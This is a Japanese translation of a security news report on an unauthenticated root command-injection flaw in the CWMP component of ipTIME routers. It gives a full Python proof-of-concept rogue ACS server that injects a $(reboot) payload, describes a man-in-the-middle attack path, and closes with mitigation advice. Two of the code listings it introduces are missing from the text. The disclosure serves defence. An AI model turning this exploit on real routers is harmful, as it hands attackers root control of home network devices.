ipTIMEルータのファームウェアバージョン15.324に重大な脆弱性が発見され、認証なしのリモートコード実行を可能にしています。この欠陥は、インターネットサービスプロバイダー(ISP)が設定調整、診断評価、ファームウェア展開、システム再起動をリモートで管理するために使用する標準であるCPE WAN管理プロトコル(CWMP)内に存在します。
この欠陥はSSD Labs Koreaの研究者parkminchanによって特定されました。SSD Labs Korea。正式な手段を通じてipTIMEと接触する多くの試みにもかかわらず(直接通信とKISA(韓国インターネット&セキュリティ機関)を含む)、製造元は明らかに対応していません。
脆弱性はeasycwmpコンポーネント内に由来しています。標準的な動作シーケンスでは、ルータはISPの自動構成サーバー(ACS)との接続を確立し、SOAPメッセージを受信し、送信されたパラメータを適用します。ただし、ipTIMEファームウェアでは、パラメータ値は厳密なサニタイズなしで一時ファイルに分離され、その後ルートレベルのシェルを介して実行されます。
/usr/share/easycwmp/functions/commonスクリプト内で、common_set_value_check_param()関数は送信された引数を入力し、それを変数に割り当て、コマンド文字列を一時ファイルに追加します:
その後、/usr/sbin/easycwmpバイナリはACSサーバーからのSOAPメッセージを処理し、意図されたコマンドを抽出および実行するために一時ファイルを1行ずつ解析します:
本質的な危険はevalコマンドの使用にあります。シェルはその文字列を受動的なデータとしてのみ扱うのではなく、実行可能な指示として解釈します。その結果、$(reboot)などのパラメータ値がシステムコールに変換されます。easycwmpは昇格された権限で動作するため、注入されたペイロードはroot権限で実行されます。
エクスプロイトを検証するために、研究者はなりすましのACSサーバーを構築しました。Pythonベースのスクリプトはルータの要請に応答して、SetParameterValuesのSOAPコマンドを送信し、$(reboot)ペイロードをInternetGatewayDevice.X_IPTIME.ScheduleReboot.Timeパラメータに埋め込みます。
#!/usr/bin/env python3
import sys
import html
import http.server
PAYLOAD = "$(reboot)"
PORT = 80
NS = (
'xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:cwmp="urn:dslforum-org:cwmp-1-2"'
)
INFORM_RESP = (
f'<?xml version="1.0"?>'
f"<soap_env:Envelope {NS}>"
'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">{id}</cwmp:ID></soap_env:Header>'
"<soap_env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap_env:Body>"
"</soap_env:Envelope>"
)
SET_PARAM = (
f'<?xml version="1.0"?>'
f"<soap_env:Envelope {NS}>"
'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">1</cwmp:ID></soap_env:Header>'
"<soap_env:Body><cwmp:SetParameterValues>"
'<ParameterList soap_enc:arrayType="cwmp:ParameterValueStruct[1]">'
"<ParameterValueStruct>"
"<Name>{name}</Name>"
'<Value xsi:type="xsd:string">{value}</Value>'
"</ParameterValueStruct></ParameterList>"
"<ParameterKey>k</ParameterKey>"
"</cwmp:SetParameterValues></soap_env:Body>"
"</soap_env:Envelope>"
)
EMPTY = (
f'<?xml version="1.0"?>'
f"<soap_env:Envelope {NS}>"
'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">0</cwmp:ID></soap_env:Header>'
"<soap_env:Body/>"
"</soap_env:Envelope>"
)
sessions = {}
class Handler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
ip = self.client_address[0]
step = sessions.get(ip, 0)
if step == 0 and b"Inform" in body:
cid = "1"
if b"<cwmp:ID" in body:
i = body.index(b">", body.index(b"<cwmp:ID")) + 1
cid = body[i : body.index(b"</", i)].decode(errors="replace")
sessions[ip] = 1
self.respond(INFORM_RESP.format(id=cid))
elif step == 1:
sessions[ip] = 2
self.respond(
SET_PARAM.format(
name=html.escape(
"InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time"
),
value=html.escape(PAYLOAD),
)
)
else:
sessions.pop(ip, None)
self.respond(EMPTY)
def respond(self, xml):
data = xml.encode()
self.send_response(200)
self.send_header("Content-Type", "text/xml")
self.send_header("Content-Length", len(data))
self.end_headers()
self.wfile.write(data)
if __name__ == "__main__":
http.server.HTTPServer(("", PORT), Handler).serve_forever()
制御された実験環境では、ルータは悪意のあるACSと相互作用するように設定されました。本番環境では、脅威はさらに深刻です。デバイスが既にCWMPを使用して正規のISPサーバーと通信している場合、攻撃者はMan-in-the-Middle(MITM)攻撃を調整して交換を傍受し、SOAPコマンドを破壊する可能性があります。正常に傍受された場合、攻撃者は脆弱なeasycwmpが誠実に記録し、evalを介して実行する適切なパラメータ値を送信できます。これにより、管理者ログイン前にコマンドを実行でき、デバイスの認証情報を知ることなく実行できます。
製造元からの正式な修復を待つ間、影響を受けやすいハードウェアのユーザーは、CWMP使用状況を監査し、リモート管理インターフェースへのアクセスを制限し、ISP接続に厳密に必要でない場合はTR-069プロトコルを無効化することをお勧めします。
翻訳元: https://meterpreter.org/unauthenticated-root-rce-discovered-in-iptime-routers-via-cwmp-protocol/